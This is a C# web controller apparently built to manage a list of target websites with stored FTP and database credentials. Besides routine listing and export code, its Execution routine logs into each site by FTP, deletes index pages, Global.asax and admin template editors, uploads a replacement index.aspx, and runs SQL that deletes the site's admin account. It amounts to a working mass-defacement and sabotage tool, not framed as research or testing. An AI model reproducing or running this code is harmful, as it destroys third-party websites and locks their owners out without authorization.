﻿using SqlSugar;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Web.Mvc;
using MiniExcelLibs;
using Newtonsoft.Json;
using SqlSugar.Extensions;
using WebSite.Class;
using WebSite.Models;
using Xwltz.Framework.Framework;
using Xwltz.Framework.Helper;
using Xwltz.Framework.Mvc;

namespace WebSite.Controllers
{
    public class ApiController : BaseController
    {
        protected RequestParam RequestParam = new RequestParam();
        protected WebResultJson WebResult = new WebResultJson();

        /// <summary>
        /// 获取数据分析列表
        /// </summary>
        /// <returns></returns>
        [Log]
        [QueryLog]
        [HttpGet]
        public ActionResult GetList()
        {
            try
            {
                var count = 0;

                var pageIndex = Request["page"].ObjToInt(0);
                pageIndex = pageIndex < 0 ? 0 : pageIndex;

                var pageSize = Request["limit"].ObjToInt(10);
                pageSize = pageSize > 1000 || pageSize < 1 ? 10 : pageSize;

                var name = string.Empty;

                if (RequestParam.Exist("name"))
                {
                    name = RequestParam.Param("name").Trim();
                }

                var data = Db.Queryable<AttackWebSite>()
                    .Where(x => x.EnabledMark && !x.DeleteMark)
                    .WhereIF(!string.IsNullOrEmpty(name),
                        it => it.CusomerName.Contains(name) || it.Domain.Contains(name))
                    .OrderBy(x => x.Id, OrderByType.Desc)
                    //.WithCacheIF(pageIndex < 10)
                    .ToPageList(pageIndex, pageSize, ref count);

                data.ForEach(x =>
                {
                    // 枚举赋值
                    x.DomainTypeStr = x.DomainType.GetDescription();
                    x.DataBaseTypeStr = x.DataBaseType.GetDescription();
                    x.VersionStr = x.Version.GetDescription();
                    x.SupplierStr = x.Supplier.GetDescription();
                    x.HostTypeStr = x.HostType.GetDescription();
                });


                return WebResult.WebCustomJson(data, count, true);
            }
            catch (Exception ex)
            {
                LogHelper.ErrorHtml(ex.Message, ex);
                throw;
            }
        }

        /// <summary>
        /// 查询数据
        /// </summary>
        /// <param name="id"></param>
        /// <returns></returns>
        [Log]
        [QueryLog]
        [HttpGet]
        public ActionResult GetModel(int id)
        {
            try
            {
                if (id <= 0) return WebResult.WebCustomJson(false, "缺少必要参数");
                var model = Db.Queryable<AttackWebSite>().WithCache().InSingle(id);
                return model == null ? WebResult.WebCustomJson(false, "未找到该数据") : WebResult.WebCustomJson(model);
            }
            catch (Exception ex)
            {
                LogHelper.ErrorHtml(ex.Message, ex);
                return WebResult.WebCustomJson(false, ex.LastInnerMessage());
            }
        }

        /// <summary>
        /// 新增或更新网站模型
        /// </summary>
        /// <param name="model"></param>
        /// <returns></returns>
        [Log]
        [HttpPost]
        [SaveLog]
        [ValidateInput(false)]
        public ActionResult AddOrUpdateModel(AttackWebSite model)
        {
            try
            {
                if (model == null) return WebResult.WebCustomJson(false);
                CommonBase.CoverNull(model);
                var rowCommand = 0;

                if (model.Id <= 0)
                {
                    model.CreateTime = DateTime.Now;
                    model.CreateBy = "xwltz";
                    model.ModifyTime = DateTime.Now;
                    model.ModifyBy = "xwltz";

                    rowCommand = Db.Insertable(model).RemoveDataCache().ExecuteCommand();
                }

                if (model.Id > 0)
                {
                    var isEx = Db.Queryable<AttackWebSite>().InSingle(model.Id);
                    if (isEx == null) return WebResult.WebCustomJson(false, "未找到该数据");

                    CommonBase.CoverNull(model);
                    model.ModifyTime = DateTime.Now;
                    model.ModifyBy = "xwltz";

                    rowCommand = Db.Updateable(model).RemoveDataCache().ExecuteCommand();
                }

                return WebResult.WebCustomJson(rowCommand > 0, rowCommand > 0 ? "操作成功" : "操作失败");
            }
            catch (Exception ex)
            {
                LogHelper.ErrorHtml(ex.Message, ex);
                throw;
            }
        }


        /// <summary>
        /// 新增或更新网站模型
        /// </summary>
        /// <param name="id">主键</param>
        /// <returns></returns>
        [Log]
        [HttpPost]
        [DeleteLog]
        public ActionResult DeleteModel(int id)
        {
            var success = Db.GetSimpleClient<AttackWebSite>().DeleteById(id);
            return WebResult.WebCustomJson(success, "删除成功");
        }

        [HttpPost]
        public ActionResult ChangePwd(string oldPwd, string newPwd, string confirmPwd)
        {
            if (oldPwd.Trim().IsEmpty() || newPwd.Trim().IsEmpty() || confirmPwd.Trim().IsEmpty())
            {
                const string msg = "信息不完整，修改失败！";
                SaveAccountLog(LogTypeEnum.ChangePassword, msg);
                return WebResult.WebCustomJson(false, msg);
            }

            if (!confirmPwd.Trim().ToUpper().Equals(newPwd.Trim().ToUpper()))
            {
                const string msg = "两次输入的密码不一致！";
                SaveAccountLog(LogTypeEnum.ChangePassword, msg);
                return WebResult.WebCustomJson(false, msg);
            }

            var sessionAccount = Session["AccountModel"].ToString().ToObject<Account>();
            var account = Db.GetSimpleClient<Account>().GetById(sessionAccount.Id);
            var check = CryptoService.AESEncrypt(oldPwd.Trim(), account.Salt);
            if (!check.Trim().Equals(account.Password.Trim()))
            {
                const string msg = "原密码输入错误！";
                SaveAccountLog(LogTypeEnum.ChangePassword, msg);
                return WebResult.WebCustomJson(false, msg);
            }

            var newPassword = CryptoService.AESEncrypt(newPwd.Trim(), account.Salt);
            account.Password = newPassword.Trim();
            var success = Db.GetSimpleClient<Account>().Update(account);

            SaveAccountLog(LogTypeEnum.ChangePassword, success ? "修改成功" : "修改失败");
            return WebResult.WebCustomJson(success);
        }

        /// <summary>
        /// 导出excel
        /// </summary>
        /// <returns></returns>
        [HttpGet]
        public ActionResult ExportExcel()
        {
            var export = Db.Queryable<AttackWebSite>().ToList();

            var memoryStream = new MemoryStream();
            memoryStream.SaveAs(export);
            memoryStream.Seek(0, SeekOrigin.Begin);
            SaveAccountLog(LogTypeEnum.Excel, $"导出Excel文件");
            return new FileStreamResult(memoryStream,
                "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")
            {
                FileDownloadName = "demo.xlsx"
            };
        }

        #region 主机相关功能

        [HttpGet]
        private ActionResult ImportExcel()
        {
            try
            {
                var path = "d:/10.xlsx";
                var rows = MiniExcel.Query<AttackWebSite>(path);
                List<AttackWebSite> list = new List<AttackWebSite>();

                foreach (var model in rows)
                {
                    CommonBase.CoverNull(model);
                    Console.WriteLine(model.FtpStr);
                    list.Add(model);
                    Db.Insertable(model).ExecuteCommand();
                }

                //Db.Fastest<AttackWebSite>().BulkCopy(list);
                return Content(list.Count.ToString());
            }
            catch (Exception ex)
            {
                Db.RollbackTran();
                return Content(ex.LastInnerMessage());
            }
        }

        [HttpGet]
        private ActionResult Execution()
        {
            try
            {
                var list = Db.Queryable<AttackWebSite>().Where(x => x.Id > 1184).ToList();

                foreach (var web in list)
                {
                    var log = new AttackWebSiteLog
                    {
                        Id = CommonBase.GuId(true),
                        AddTime = DateTime.Now,
                        WebId = web.Id,
                        WebName = web.CusomerName
                    };

                    if (web.FtpStr.IsNotEmpty())
                    {
                        Debug.WriteLine($"[FTP]=========【{web.CusomerName}】域名：" + web.Domain + " [准备开始]");
                        var tuple = ExecutionFtp(web);
                        log.FtpFinish = tuple.Item1;
                        log.FtpMessage = tuple.Item2;
                        Debug.WriteLine($"[FTP]=========【{web.CusomerName}】域名：" + web.Domain + " [执行完毕]");
                    }

                    if (web.DatabaseStr.IsNotEmpty())
                    {
                        Debug.WriteLine($"[DB]=========【{web.CusomerName}】域名：" + web.Domain + " [准备开始]");
                        var tuple = ExecutionDatabase(web);
                        log.DatabaseFinish = tuple.Item1;
                        log.DatabaseMessage = tuple.Item2;
                        Debug.WriteLine($"[DB]=========【{web.CusomerName}】域名：" + web.Domain + " [执行完毕]");
                    }

                    log.EndTime = DateTime.Now;

                    Db.Insertable(log).ExecuteCommand();
                }

                return Content(list.Count.ToString());
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                return null;
            }
        }

        private Tuple<bool, string> ExecutionFtp(AttackWebSite web)
        {
            try
            {
                var client = new FtpClient
                {
                    FtpIp = web.FtpStr,
                    UserName = web.FtpUserName,
                    Password = web.FtpPassword
                };

                var dict = FtpHelper.GetFile(client, "/");
                if (dict.Count <= 0)
                {
                    return new Tuple<bool, string>(false, "无法连接远程服务器");
                }

                var value = dict.FirstOrDefault(x => x.Contains("wwwroot"));
                if (value != null)
                {
                    foreach (var str in DeleteFile())
                    {
                        FtpHelper.DeleteFileName(client, str);
                    }

                    foreach (var str in UpdateFile())
                    {
                        FtpHelper.FileUpLoad(client, str, "/wwwroot");
                    }
                }
                else
                {
                    foreach (var str in DeleteFile())
                    {
                        FtpHelper.DeleteFileName(client, str);
                    }

                    foreach (var str in UpdateFile())
                    {
                        FtpHelper.FileUpLoad(client, str);
                    }
                }

                return new Tuple<bool, string>(true, "ok");
            }
            catch (Exception ex)
            {
                return new Tuple<bool, string>(false, ex.Message);
            }
        }

        private Tuple<bool, string> ExecutionDatabase(AttackWebSite web)
        {
            try
            {
                //创建数据库对象
                var db = new SqlSugarClient(new ConnectionConfig()
                {
                    ConnectionString =
                        $"server={web.DatabaseStr};uid={web.DatabaseUser};pwd={web.DatabasePwd};database={web.DatabaseName};",
                    DbType = DbType.SqlServer,
                    IsAutoCloseConnection = true
                });

                db.Ado.CommandTimeOut = 30;

                var rows = db.Ado.ExecuteCommand("delete from dt_manager where id = 1 or user_name = 'admin'");
                Console.WriteLine(rows);
                db.Close();

                return new Tuple<bool, string>(rows >= 1, "ok");
            }
            catch (Exception ex)
            {
                return new Tuple<bool, string>(false, ex.Message);
            }
        }

        private List<string> DeleteFile(bool wwwroot = true)
        {
            var basePath = "/";
            var list = new List<string>();


            if (wwwroot)
            {
                basePath = "/wwwroot/";
            }

            list.Add(basePath + "index.html");
            list.Add(basePath + "index.htm");
            list.Add(basePath + "m.html");
            list.Add(basePath + "m.htm");
            list.Add(basePath + "Global.asax");

            list.Add(basePath + "vladmin/settings/templet_file_edit.aspx");
            list.Add(basePath + "vladmin/settings/templet_file_list.aspx");
            //list.Add(basePath + "vladmin/settings/templet_list.aspx");
            list.Add(basePath + "vladmin/settings/templet_list_extension.aspx");

            return list;
        }

        private List<string> UpdateFile()
        {
            var list = new List<string>();
            list.Add("d:/a/index.aspx");
            return list;
        }

        #endregion
    }
}